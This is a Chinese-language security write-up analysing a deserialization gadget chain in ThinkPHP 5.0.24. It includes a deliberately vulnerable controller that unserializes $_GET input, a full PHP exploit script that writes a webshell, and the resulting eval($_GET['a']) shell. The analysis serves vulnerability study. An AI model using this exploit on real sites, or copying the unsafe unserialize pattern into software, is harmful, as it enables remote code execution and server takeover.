ThinkPHP v5.0.24

环境搭建

thinkphp_5.0.24: 官网下载的thinkphp_5.0.24版本,有需要可以自取 (gitee.com)

从gitee下载的源码记得composer update

写一个入口函数

thinkphp_5.0.24/application/index/controller/Index.php

<?php
namespace app\index\controller;

class Index
{
public function index()
{
$patton = unserialize($_GET['patton']);
var_dump($patton);
}

}

反序列化分析

反序列化链调用过程

File.php:160, think\cache\driver\File->set()
Memcache.php:94, think\session\driver\Memcache->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Model.php:912, think\Model->toArray()
Model.php:936, think\Model->toJson()
Model.php:2267, think\Model->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
Index.php:14, app\index\controller\Index->hello()

前人栽树,后人乘凉,我们直接找到反序列化链的入口文件,从该类的__destruct方法开始寻找

image-20240717204608970

然后跳转到removeFiles

image-20240717204710297

执行file_exists()时$filename会被当做字符串,因此我们可以通过file_exists()函数触发__toString()函数

全局搜搜function__toString

选择Model.php

image-20240717205720442

然后跟进toJson方法

image-20240717205801657

接着跳转到toArray

public function toArray()
{
$item = [];
$visible = [];
$hidden = [];

$data = array_merge($this->data, $this->relation);

// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

在912行看见$ value调用了一个getAttr()方法,如果 $value可控的话,我们就可以通过控制$value调用__call()方法。

image-20240717210917875

发现902行$value是由getRelationData()的返回值进行赋值的,我们跟入getRelationData()函数

image-20240717210943427

getRelationData函数

protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}

如果我们传入的参数为Relation类且满足if分支的条件,那$value就会由 $this->parent的值决定

那么我们分析if的条件

跟进isSelfRelation函数

image-20240717211840752

可控

跟进getModel函数

image-20240717211927707

$query可控,因此此时我们需要查找哪个类的getModel()可控,在这里找到了thinkphp/library/think/db/Query.php类,跟进thinkphp/library/think/db/Query.php类

image-20240717212121026

至此三个条件都可控,接下来我们需要判断是否能传入一个Relation类的参数

回到刚刚,发现调用getRelationData()函数时传入的是$modelRelation变量

image-20240717225803495

跟进$relation()发现$relation()函数是根据$relation的值进行调用的并且要满足method_exists()函数,跟进parseName()

public static function parseName($name, $type = 0, $ucfirst = true)
{
if ($type) {
$name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {
return strtoupper($match[1]);
}, $name);

return $ucfirst ? ucfirst($name) : lcfirst($name);
}

return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
}

parseName()函数只对传进来的$name做了一些大小写替换,没有实质上的过滤操作,因此$name可控,$relation可控

$relation可控的前提下我们要满足method_exists()函数就需要我们将relation的值设定为\think\Model拥有的方法,在这里我们选择的是getError()方法。主要是$this->error可控,这样我们不仅满足了method_exists()函数,还让$modelRelation可控,这样$value也就可控了

image-20240729202954005

想要$value可控的前提首先需要满足两个if判断

image-20240729203148225

第一个if条件需要满足$modelRelation存在getBindAttr()函数,并且$bindAttr变量由getBindAttr()函数返回值决定,发现OneToOne中存在且OneToOne是Relation类的子类、$this->bindAttr可控

image-20240729203456389

跟进OneToOne.php,发现OneToOne是个抽象类,无法生成实例,发现HasOne类继承了OneToOne类,因此我们可以令$modelRelation的值为HasOne,此时便可满足第一个if条件,由于$this->bindAttr可控,因此我们也能满足第二个if条件

image-20240729203741038

我们继续跟进,发现$attr变量由$bindAttr决定,且$attr变量用于912行的$value->getAttr()中,因此$value->getAttr($attr)可控,所以我们可以根据$value->getAttr($attr)调用__call()方法,此时我们需要寻找能写webshell的__call()方法,在这里选择的是think\console\Output类

image-20240729204315131

在这里$method和$this->styles是可控的,array_unshift()对调用block()方法没有影响,因此我们跟进block()方法

image-20240729204435558

继续跟进writeln

image-20240729204510936

继续跟进write

image-20240729204530701

在这里$this->handle是可控的,我们寻找能写webshell的write()方法,此次选择了 think\session\driver\Memcache类

public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}

在这里$this->handler又是可控的,我们继续寻找能写webshell的set()方法,此次选择了think\cache\driver\File 类,我们可以看到think\cache\driver\File 类的set()方法通过file_put_contents()将$data写进了文件,我们跟入$data和$filename

image-20240729204921440

发现$filename的值是由getCacheKey()方法决定的,我们跟进getCacheKey()函数

image-20240729205011027

$filename的后缀是写死的,为php,并且文件名的一部分可控,这时如果$data可控的话就可以getshell了。我们跟进$data,发现$data最终是由think\console\Output类的write()方法决定的,$data的值为true

image-20240729205345533

虽然能写入php文件但是内容不可控,继续跟进发现

image-20240729205507539

尝试跟进setTagItem,这次的$key是可控的,$value由之前的$filename决定,这也意味着我们可以通过setTagItem()再一次的写入php文件进行getshell

image-20240729205549294

至此pop链分析完毕。

EXP

<?php
namespace think\process\pipes;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new \think\model\Merge];
}
}

namespace think\model;
use think\Model;

class Merge extends Model
{
protected $append = [];
protected $error;

public function __construct()
{
$this->append = [
'bb' => 'getError'
];
$this->error = (new \think\model\relation\BelongsTo);
}
}
namespace think;
class Model{}

namespace think\console;
class Output
{
protected $styles = [];
private $handle = null;
public function __construct()
{
$this->styles = ['removeWhereField'];
$this->handle = (new \think\session\driver\Memcache);
}
}

namespace think\model\relation;
class BelongsTo
{
protected $query;
public function __construct()
{
$this->query = (new \think\console\Output);
}
}

namespace think\session\driver;
class Memcache
{
protected $handler = null;
public function __construct()
{
$this->handler = (new \think\cache\driver\Memcached);
}
}
namespace think\cache\driver;
class File
{
protected $tag;
protected $options = [];
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/convert.base64-decode/resource=./',
];
}
}

class Memcached
{
protected $tag;
protected $options = [];
protected $handler = null;

public function __construct()
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
];
$this->handler = (new File);
}
}
echo base64_encode(serialize(new \think\process\pipes\Windows));

会在根目录生成一个shell

<?php
eval($_GET['a']);

image-20240729212721299